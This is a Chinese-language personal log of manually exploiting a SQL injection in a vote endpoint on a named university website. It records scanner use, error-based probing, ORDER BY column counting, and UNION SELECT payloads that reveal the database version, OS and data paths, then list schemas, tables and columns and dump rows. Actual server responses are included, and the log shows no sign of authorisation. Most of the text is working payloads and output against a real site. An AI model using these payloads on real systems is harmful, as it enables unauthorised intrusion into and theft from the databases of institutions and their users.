记录一次手动注入学校某站MySQL的过程
子域名扫描 -> 导入awvs -> 批量扫blind-injection
http://home.bjtu.edu.cn/
http://home.bjtu.edu.cn/ctrl/vote/ajax_vote_response.php?req=3&tid=1
- tid (GET)
分号报错,有回显:
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6
and ord(mid(version(),1,1))>51
返回正常,说明版本>4.0,支持union
tid=1 and order by 6
=> Unknown column ‘6’ in ‘order clause’ tid=1 and order by 5
=> [{“item_title”:”3”,”item_id”:”3”,”item_count”:36},{“item_title”:”4”,”item_id”:”4”,”item_count”:22},{“item_title”:”5”,”item_id”:”5”,”item_count”:66},{“item_title”:”\u5b66\u4e60\u8bdd\u98981-\u89c2\u70b92”,”item_id”:”2”,”item_count”:84},{“item_title”:”\u5b66\u4e60\u8bdd\u98981-\u89c2\u70b9\u4e00”,”item_id”:”1”,”item_count”:103}]tid=1 and 1=2 union select 1,2,3,4,5...,n
- 错误输出:
The used SELECT statements have a different number of columns
- 正确输出:
[{"item_title":"2","item_id":"1","item_count":4}]
and 1=2 union select [function],-1,-1,-1,-1
- version() 查询数据库版本=>5.6.17
- database() 查询当前连接的数据库=>stu
- @@version_compile_os 查询当前操作系统=>Win64
- @@datadir 查询读取数据库路径=>c:\wamp\bin\mysql\mysql5.6.17\data\
- @@basedir 查询MYSQL安装路径
select * from stu where tid=1 and 1=2 union select SCHEMA_NAME,-1,-1,-1,-1 from information_schema.columns;
或者:
select * from stu where tid=1 and 1=2 union select table_schema,-1,-1,-1,-1 from information_schema.columns;
[{"item_title":"-1","item_id":"information_schema","item_count":-1},
{"item_title":"-1","item_id":"mysql","item_count":-1},
{"item_title":"-1","item_id":"performance_schema","item_count":-1},
{"item_title":"-1","item_id":"stu","item_count":-1},
{"item_title":"-1","item_id":"student","item_count":-1}]
select * from stu where tid=1 and 1=2 union select concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-1,-1 from information_schema.columns where table_schema="stu";
[{"item_title":"-1","item_id":"[xxoo] fsa_about, fsa_contest_and_project, fsa_css3_example, fsa_nav_feedback, fsa_nav_feedback_type, fsa_nav_list, fsa_nav_page_list, fsa_nav_page_list_1, fsa_nav_page_list_395, fsa_nav_page_list_396, fsa_nav_page_list_398, fsa_nav_page_list_399, fsa_nav_page_list_400, fsa_nav_page_list_401, fsa_nav_page_list_402, fsa_nav_page_list_403, fsa_nav_page_list_404, fsa_nav_ ... [xxoo]","item_count":-1}]
and 1=2 union select concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT column_name),0x5B78786F6F5D),-1,-1,-1,-1 from information_schema.columns where table_name='fsa_vote_topic'
{"item_title":"-1","item_id":"[xxoo] topic_id, topic_title, topic_type_id [xxoo]","item_count":-1}]
and 1=2 union select concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-1,-1,-1,-1 from fsa_vote_topic
[{"item_title":"-1","item_id":"[xxoo] 12 [xxoo]","item_count":-1}]
依次改变limit值可爆出多列内容
and 1=0 union select concat(0x5B78786F6F5D,topic_title,0x5B78786F6F5D),-1,-1,-1,-1 from fsa_vote_topic LIMIT 0,1
[{"item_title":"-1","item_id":"[xxoo] \u5b66\u4e60\u8bdd\u98981 [xxoo]","item_count":-1}]
解码后为=> 学习话题1
在写payload时,特别注意函数中的参数不用加引号,而使用等号赋值时需要加引号.
不加的情况(topic_title)(fsa_vote_topic):
concat(0x5B78786F6F5D,topic_title,0x5B78786F6F5D)
from fsa_vote_topic LIMIT 0,1
加的情况(有等号赋值时)
here table_name='fsa_vote_topic'